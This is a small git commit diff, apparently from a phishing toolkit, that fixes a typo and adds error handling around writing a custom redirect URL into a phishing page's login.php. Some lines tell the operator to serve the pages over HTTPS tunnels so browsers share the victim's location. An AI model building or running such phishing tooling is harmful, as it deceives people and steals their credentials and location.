Fixed typo and added some error handling in places

This commit is contained in:
DarkMidus 2020-06-26 22:44:10 -05:00
parent 3d49802d58
commit a9a9f5cd8d
2 changed files with 19 additions and 11 deletions

View File

@ -356,7 +356,7 @@ def start_phishing_page(page, custom_option): # Phishing pages selection menu
webpage_set('WebPages/TOOLS/gdrive', "Server/www/")
print(localization.lang_start_phishing_page["https_suggestion"])
print(localization.lang_start_phishing_page["gdrive_suggestion"])
input(localization.lang_start_phishing_page["press_enter_to_contunue_if_setup_correctly"])
input(localization.lang_start_phishing_page["press_enter_to_continue_if_setup_correctly"])
else:
run_command('clear')
@ -401,9 +401,17 @@ def enter_custom_redirecting_url(): # Question where user can input custom web-
f.close()
else:
try:
with open('Server/www/login.php') as f:
read_data = f.read()
c = read_data.replace('<CUSTOM>', custom)
f = open('Server/www/login.php', 'w')
f.write(c)
f.close()
except FileNotFoundError:
run_command("clear")
print(global_localization.hidden_eye_logo)
print(global_localization.official_website_link)
print(global_localization.by_darksec)
print("[^] ERROR: Please make sure your folder contains a valid login.php file.")
exit()

View File

@ -66,7 +66,7 @@ lang_start_main_menu = {
lang_start_phishing_page = {
"custom_folder_directory" : _('\n {0}[{1}*{0}]{1} Custom Folder Directory is {0}WebPages/{page}').format(default_palette[0], default_palette[4], page = 'page'),
"manual_reading_suggestion" : _('\n {0}[{1}*{0}]{1} Please Read The manual.txt File Available At {0}[WebPages/{page}]').format(default_palette[0], default_palette[4], page = 'page'),
"press_enter_to_contunue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
"press_enter_to_continue_if_setup_correctly" : _('\n {0}[{1}*{0}]{1} If You Have Set Up The Files Correctly, {0}Press Enter To continue.').format(default_palette[0], default_palette[4]),
"copying_your_files" : _('\n {0}[{1}*{0}]{1} Copying Your Files To Server/www Folder...').format(default_palette[0], default_palette[4]),
"https_suggestion" : _("\n{0}[{1}*{0}]{1} PLEASE USE TUNNELS/URL WITH '{0}https{1}' \n{0}[{1}*{0}]{1} Browsers Trusts only Https Links To Share Location\n").format(default_palette[0], default_palette[4]),
"gdrive_suggestion" : _('{0}[{1}*{0}]{1} {0}Tip: {1}Use Google Drive File Url as Custom Url while asked.').format(default_palette[0], default_palette[4])